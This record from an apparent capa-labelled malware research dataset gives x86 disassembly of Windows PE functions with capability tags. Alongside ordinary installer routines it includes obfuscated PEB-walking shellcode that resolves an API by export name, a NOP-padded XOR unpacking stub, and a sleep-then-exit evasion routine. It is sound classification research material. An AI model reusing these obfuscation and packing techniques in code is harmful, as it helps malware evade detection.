joyce8/EMBER2024-capa huggingface dataset:
Function at 0x461fc1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x519310]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x462001
cmp byte [ebx], 0xa
jne 0x462001
or byte [eax + edi + 0x28], 4
jmp 0x462006
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x462104
mov al, byte [edx]
cmp al, 0x1a
je 0x4620e6
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x462035
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x46205a
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x462064
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x462017
jmp 0x462104
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4620e1
cmp dword [ebp - 0xc], 0
je 0x4620e1
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x519310]
test byte [eax + edi + 0x28], 0x48
je 0x4620bb
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4620a6
mov byte [esi], dl
jmp 0x4620b7
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x519310]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x462104
cmp byte [ebp - 1], 0xa
jne 0x4620ca
cmp esi, ebx
jne 0x4620ca
mov byte [esi], 0xa
jmp 0x462103
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004015eb
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x462104
mov byte [esi], 0xd
jmp 0x462103
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x519310]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x462100
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x462104
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x462160
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x519310]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4621a3
cmp word [esi], dx
jne 0x4621a3
or byte [edi + eax + 0x28], 4
jmp 0x4621a8
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x4622fb
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x4622db
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x4621ea
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x462220
cmp eax, edx
jae 0x46222c
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x4621c2
jmp 0x4622fb
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4622d7
cmp dword [ebp - 0x14], 0
je 0x4622d7
mov eax, dword [ebx*4 + 0x519310]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x4622af
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x462278
mov word [esi], cx
jmp 0x4622ab
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x519310]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x519310]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x519310]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x4622fb
pop ebx
cmp word [ebp - 4], bx
jne 0x4622c0
cmp esi, dword [ebp + 0xc]
jne 0x4622c0
mov word [esi], bx
jmp 0x4622f8
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004015eb
add esp, 0x10
cmp word [ebp - 4], bx
je 0x4622fb
push 0xd
jmp 0x4622f4
mov ecx, dword [ebx*4 + 0x519310]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4622f2
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4622fb
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1004aae1
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
call 0x1004aae6
mov dword [esp], ebx
mov eax, eax
sub esp, 4
mov dword [esp], 0x5b86bb7d
add esp, 4
mov dword [esp - 4], esi
sub esp, 4
push eax
add esp, 4
push 0x49f5ad52
add esp, 4
push 0x398471ee
mov dword [esp], edi
xor edx, edx
push ebx
add esp, 4
push edx
xchg edx, eax
pop edx
mov esi, dword fs:[eax + 0x30]
mov esi, dword [esi + 0xc]
mov esi, dword [esi + 0xc]
lodsd eax, dword [esi]
mov esi, dword [eax]
mov edi, dword [esi + 0x18]
mov ebx, dword [edi + 0x3c]
mov ebx, dword [edi + ebx + 0x78]
mov esi, dword [edi + ebx + 0x20]
add esi, edi
mov ecx, dword [edi + ebx + 0x24]
add ecx, edi
nop
call 0x1004ab45
mov dword [esp], ebp
push 0x8a9dca8
add esp, 4
push 0x39b747fc
mov dword [esp], eax
nop
push 0x60e78f71
add esp, 4
mov eax, ecx
sub esp, 4
mov dword [esp], 0x1032503b
add esp, 4
movzx ebp, word [eax + edx*2]
nop
pop eax
mov eax, eax
inc edx
mov eax, dword [esi]
add esi, 4
cmp byte [edi + eax + 1], 0x69
jne 0x1004ab50
cmp byte [edi + eax + 4], 0x75
jne 0x1004ab50
cmp byte [edi + eax + 9], 0x6c
jne 0x1004ab50
cmp word [edi + eax + 0xb], 0x63
jne 0x1004ab50
mov esi, dword [edi + ebx + 0x1c]
add esi, edi
add edi, dword [esi + ebp*4]
push 0x8947c6d
add esp, 4
xchg dword [esp], ebp
add esp, 4
push 0x40
sub esp, 4
mov dword [esp], 0x545d3010
add esp, 4
push 0x6e14f4f9
mov dword [esp], 0x3000
push 0xbab542ae
mov dword [esp], 0x17699a
push 0x8e0b5b3b
add esp, 4
push edi
add esp, 4
call 0x1004abeb
mov dword [esp], 0
nop
call edi
sub esp, 4
mov dword [esp], 0x7bc8c54d
add esp, 4
add esp, 4
xchg dword [esp - 4], edi
push edx
add esp, 4
push 0xb2510690
add esp, 4
mov esi, dword [esp]
add esp, 4
mov eax, eax
push ebx
add esp, 4
add esp, 4
xchg dword [esp - 4], ebx
sub esp, 4
mov dword [esp], 0x7b1d4afb
add esp, 4
ret
Function at 0x403181
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
test edi, edi
jne 0x4031a1
mov dword [ebp - 8], 0x8000
and dword [ebp - 4], 0
mov ebx, edi
test edi, edi
jne 0x4031b0
mov ebx, 0x418ea0
mov eax, dword [ebp + 8]
or eax, eax
jl 0x4031c5
mov ecx, dword [0x42a278]
add ecx, eax
push ecx
call fcn.0040337c
lea eax, [ebp + 0x14]
push 4
push eax
call fcn.00403366
test eax, eax
je 0x40331d
test byte [ebp + 0x17], 0x80
je 0x403306
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x40ce10
mov dword [ebp - 0xc], eax
call fcn.00406834
and dword [ebp + 0x14], 0x7fffffff
mov eax, dword [ebp + 0x14]
mov dword [ebp + 8], eax
jle 0x40335c
mov esi, 0x4000
cmp dword [ebp + 0x14], esi
jge 0x403215
mov esi, dword [ebp + 0x14]
mov edi, 0x414ea0
push esi
push edi
call fcn.00403366
or eax, eax
je 0x40331d
sub dword [ebp + 0x14], esi
mov dword [0x40ce28], edi
mov dword [0x40ce2c], esi
mov eax, dword [ebp - 8]
mov ecx, 0x40ce10
mov dword [0x40ce30], ebx
mov dword [0x40ce34], eax
call fcn.00406854
test eax, eax
mov dword [ebp - 0x10], eax
jl 0x4032fe
mov esi, dword [0x40ce30]
sub esi, ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test byte [0x42a2d4], 1
mov edi, eax
je 0x4032bd
sub eax, dword [ebp - 0xc]
cmp eax, 0xc8
ja 0x403284
cmp dword [ebp + 0x14], 0
jne 0x4032bd
mov eax, dword [ebp + 8]
push dword [ebp + 8]
sub eax, dword [ebp + 0x14]
push 0x64
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
push eax
lea eax, [ebp - 0x90]
push str....__d__
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x90]
push eax
push 0
call fcn.00405361
mov dword [ebp - 0xc], edi
or esi, esi
je 0x4032f2
cmp dword [ebp + 0x10], 0
jne 0x4032da
push esi
push ebx
push dword [ebp + 0xc]
call fcn.00405ea1
or eax, eax
je 0x403302
add dword [ebp - 4], esi
jmp 0x4032e6
add dword [ebp - 4], esi
sub dword [ebp - 8], esi
mov ebx, dword [0x40ce30]
cmp dword [ebp - 0x10], 1
jne 0x403238
jmp 0x40335c
cmp dword [ebp + 0x14], 0
jg 0x403208
jmp 0x40335c
push 0xfffffffffffffffc
jmp 0x40331f
push 0xfffffffffffffffe
jmp 0x40331f
test edi, edi
je 0x403351
cmp dword [ebp + 0x14], esi
jge 0x403312
mov esi, dword [ebp + 0x14]
push esi
push edi
call fcn.00403366
or eax, eax
jne 0x403359
push 0xfffffffffffffffd
pop eax
jmp 0x40335f
mov esi, dword [ebp - 8]
cmp dword [ebp + 0x14], esi
jge 0x40332d
mov esi, dword [ebp + 0x14]
mov edi, 0x414ea0
push esi
push edi
call fcn.00403366
or eax, eax
je 0x40331d
push esi
push edi
push dword [ebp + 0xc]
call fcn.00405ea1
test eax, eax
je 0x403302
add dword [ebp - 4], esi
sub dword [ebp + 0x14], esi
cmp dword [ebp + 0x14], 0
jg 0x403322
jmp 0x40335c
mov dword [ebp - 4], esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x405830
Capabilities:
Create directory

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x20
mov eax, 0x4083f8
and byte [ebp - 0x1f], 0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push esi
push eax
mov byte [ebp - 0x20], 1
push dword [ebp + 8]
mov word [ebp - 0x1e], 4
mov dword [ebp - 0x10], 0x4083e8
mov dword [ebp - 0xc], 0xc
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x405881
sub eax, eax
jmp 0x4058a8
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0xb7
jne 0x4058a8
lea eax, [ebp - 0x20]
push eax
push 0x80000007
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_SetFileSecurityW]
test eax, eax
jne 0x40587d
call esi
pop esi
leave
ret 4

Function at 0x4058e2
Capabilities:
Create process on windows

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [0x4266f0], 0x44
push eax
sub eax, eax
push 0x4266f0
push eax
push eax
push 0x4000000
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
or eax, eax
je 0x405921
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x405925
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
and dword [eax + 0x24], 0
mov dword [eax], 0x3c
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
ret 4

Function at 0x4059c3
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push esi
call fcn.00405dca
push eax
pop edi
cmp edi, 0xffffffff
je 0x405a04
test byte [esp + 0x10], 1
push esi
je 0x4059e6
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x4059ec
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
or eax, eax
je 0x4059f5
xor eax, eax
inc eax
jmp 0x405a06
test byte [esp + 0x10], 4
jne 0x405a04
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
sub eax, eax
pop edi
pop esi
ret 8
Function at 0x405a0b
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
push ebx
pop eax
and eax, 4
push edi
mov dword [ebp - 4], eax
call fcn.00405cd6
test bl, 8
mov dword [ebp - 8], eax
je 0x405a4a
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
neg eax
sbb eax, eax
inc eax
add dword [0x42a2a8], eax
jmp 0x405bc7
mov dword [ebp + 8], ebx
and dword [ebp + 8], 1
je 0x405a64
or eax, eax
je 0x405b75
test bl, 2
je 0x405b75
mov esi, 0x4256f0
push edi
push esi
call fcn.004062f9
cmp dword [ebp + 8], 0
je 0x405a83
push str..
push esi
call sub.KERNEL32.dll_lstrcatW
jmp 0x405a89
push edi
call fcn.00405c1a
cmp word [edi], 0
jne 0x405a99
cmp word [0x4256f0], 0x5c
jne 0x405aa4
push 0x40a014
push edi
call sub.KERNEL32.dll_lstrcatW
push edi
call sub.KERNEL32.dll_lstrlenW
lea ebx, [edi + eax*2]
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push eax
pop esi
cmp esi, 0xffffffff
je 0x405b6a
cmp word [ebp - 0x22c], 0x2e
jne 0x405aee
cmp word [ebp - 0x22a], 0
je 0x405b4d
cmp word [ebp - 0x22a], 0x2e
jne 0x405aee
cmp word [ebp - 0x228], 0
je 0x405b4d
lea eax, [ebp - 0x22c]
push eax
push ebx
call fcn.004062f9
test byte [ebp - 0x258], 0x10
je 0x405b19
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x405b4d
push dword [ebp + 0xc]
push edi
call fcn.00405a0b
jmp 0x405b4d
push dword [ebp - 4]
push edi
call fcn.004059c3
test eax, eax
jne 0x405b45
cmp dword [ebp - 4], eax
je 0x405b3d
push edi
push 0xfffffffffffffff1
call fcn.00405361
push 0
push edi
call fcn.004060bf
jmp 0x405b4d
inc dword [0x42a2a8]
jmp 0x405b4d
push edi
push 0xfffffffffffffff2
call fcn.00405361
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
or eax, eax
jne 0x405ac6
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x405b75
and word [ebx - 2], 0
sub esi, esi
cmp dword [ebp + 8], esi
je 0x405bc7
cmp dword [ebp - 8], esi
jne 0x405b89
inc dword [0x42a2a8]
jmp 0x405bc7
push edi
call fcn.0040663c
test eax, eax
je 0x405bc7
push edi
call fcn.00405bce
mov eax, dword [ebp - 4]
or al, 1
push eax
push edi
call fcn.004059c3
or eax, eax
jne 0x405bbf
cmp dword [ebp - 4], esi
je 0x405b81
push edi
push 0xfffffffffffffff1
call fcn.00405361
push esi
push edi
call fcn.004060bf
jmp 0x405bc7
push edi
push 0xffffffffffffffe5
call fcn.00405361
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x405cd6
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x425ef0
push esi
call fcn.004062f9
push esi
call fcn.00405c79
push eax
pop edi
test edi, edi
jne 0x405cf7
sub eax, eax
jmp 0x405d4f
push edi
call fcn.0040658d
test byte [0x42a21c], 0x80
je 0x405d14
mov ax, word [edi]
test ax, ax
je 0x405cf3
cmp ax, 0x5c
je 0x405cf3
sub edi, esi
sar edi, 1
jmp 0x405d2e
call fcn.0040663c
test eax, eax
je 0x405d28
test byte [eax], 0x10
je 0x405cf3
push esi
call fcn.00405c1a
push esi
call sub.KERNEL32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x405d1a
call fcn.00405bce
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
push ecx
pop eax
pop edi
pop esi
ret 4

Function at 0x405dca
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405de9
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
pop eax
pop esi
ret 4

Function at 0x405def
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
ret 0xc

Function at 0x405e1e
Capabilities:
Get common file path

Disassembly:
push ebp
push esp
pop ebp
push ecx
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
mov eax, dword [0x40a558]
dec edi
mov dword [ebp - 8], eax
mov eax, dword [0x40a55c]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
sub edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 0xc]
add word [ebp - 4], dx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x405e6e
or edi, edi
jne 0x405e2b
and word [esi], di
pop edi
pop esi
leave
ret 8
push esi
pop eax
jmp 0x405e68
Function at 0x405f45
Capabilities:
Get file size

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
test esi, esi
mov dword [0x426d88], 0x55004e
mov dword [0x426d8c], 0x4c
mov edi, 0x400
mov ebp, 0x426d88
je 0x405f9b
push 1
push 0
push esi
call fcn.00405def
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x4060ba
cmp eax, edi
jg 0x4060ba
mov esi, 0x427588
push edi
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x4060ba
cmp eax, edi
jg 0x4060ba
push esi
push ebp
push str._ls_ls_r_n
push 0x426988
call dword [sym.imp.USER32.dll_wsprintfA]
push eax
pop ebx
mov eax, dword [0x42a214]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.0040631b
push 4
push 0xc0000000
push esi
call fcn.00405def
push eax
pop ebp
cmp ebp, 0xffffffff
mov dword [esp + 0x18], ebp
je 0x4060ba
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
pop edi
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
or esi, esi
je 0x4060b3
push edi
push esi
push ebp
call fcn.00405e72
test eax, eax
je 0x4060b3
push str._Rename__r_n
push esi
call fcn.00405d54
or eax, eax
jne 0x406051
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add edi, 0xa
jmp 0x406086
add eax, 0xa
push 0x40a560
push eax
call fcn.00405d54
push eax
pop ebp
test ebp, ebp
je 0x406082
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
jmp 0x406073
mov dl, byte [ecx]
mov byte [eax], dl
dec eax
dec ecx
cmp ecx, ebp
ja 0x40606d
sub ebp, esi
inc ebp
mov eax, ebp
mov ebp, dword [esp + 0x18]
jmp 0x406088
mov ebp, dword [esp + 0x18]
push edi
pop eax
push ebx
add eax, esi
push 0x426988
push eax
call fcn.00405daa
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
add edi, ebx
push edi
push esi
push ebp
call fcn.00405ea1
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x4060bf
Capabilities:
Move file

Disassembly:
push 5
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
or eax, eax
jne 0x4060e2
push dword [esp + 8]
push dword [esp + 8]
call fcn.00405f45
pop ecx
pop ecx
inc dword [0x42a2b0]
ret 8
Function at 0x4061c7
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
push esp
pop ebp
push ecx
lea eax, [ebp + 0x18]
push esi
push eax
mov eax, dword [ebp + 0x18]
neg eax
sbb eax, eax
mov dword [ebp - 4], 0x800
and eax, 0x100
or eax, 0x20019
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00406166
mov esi, dword [ebp + 0x14]
test eax, eax
jne 0x406237
lea eax, [ebp - 4]
push edi
push eax
lea eax, [ebp + 0xc]
push esi
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp + 0x18]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
and word [esi + 0x7fe], 0
or edi, edi
pop edi
jne 0x406237
cmp dword [ebp + 0xc], 1
je 0x40623b
cmp dword [ebp + 0xc], 2
je 0x40623b
and word [esi], 0
pop esi
leave
ret 0x14
Function at 0x406663
Capabilities:
Get common file path

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406687
sub eax, eax
or eax, eax
je 0x40669a
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40669a
xor ecx, ecx
jmp 0x40669d
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x4067c6
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427d8c], 0
push esi
jne 0x4067fd
xor ecx, ecx
push 8
push ecx
pop eax
pop esi
push eax
pop edx
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4067d7
mov dword [ecx*4 + 0x427d88], eax
inc ecx
cmp ecx, 0x100
jl 0x4067d2
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
or edx, edx
not eax
jbe 0x40682e
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
push eax
pop esi
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427d88]
xor eax, esi
inc ecx
dec edx
jne 0x406810
pop edi
not eax
pop esi
ret 0xc

Function at 0x401010
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add eax, 2
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 3
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 4
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, 5
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 6
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 7
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, 8
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 9
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 0xa
mov dword [ebp - 4], edx
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408f6c
nop
mov ecx, 0x25342a9a
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e3d0
nop
mov ecx, 0x73634805
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219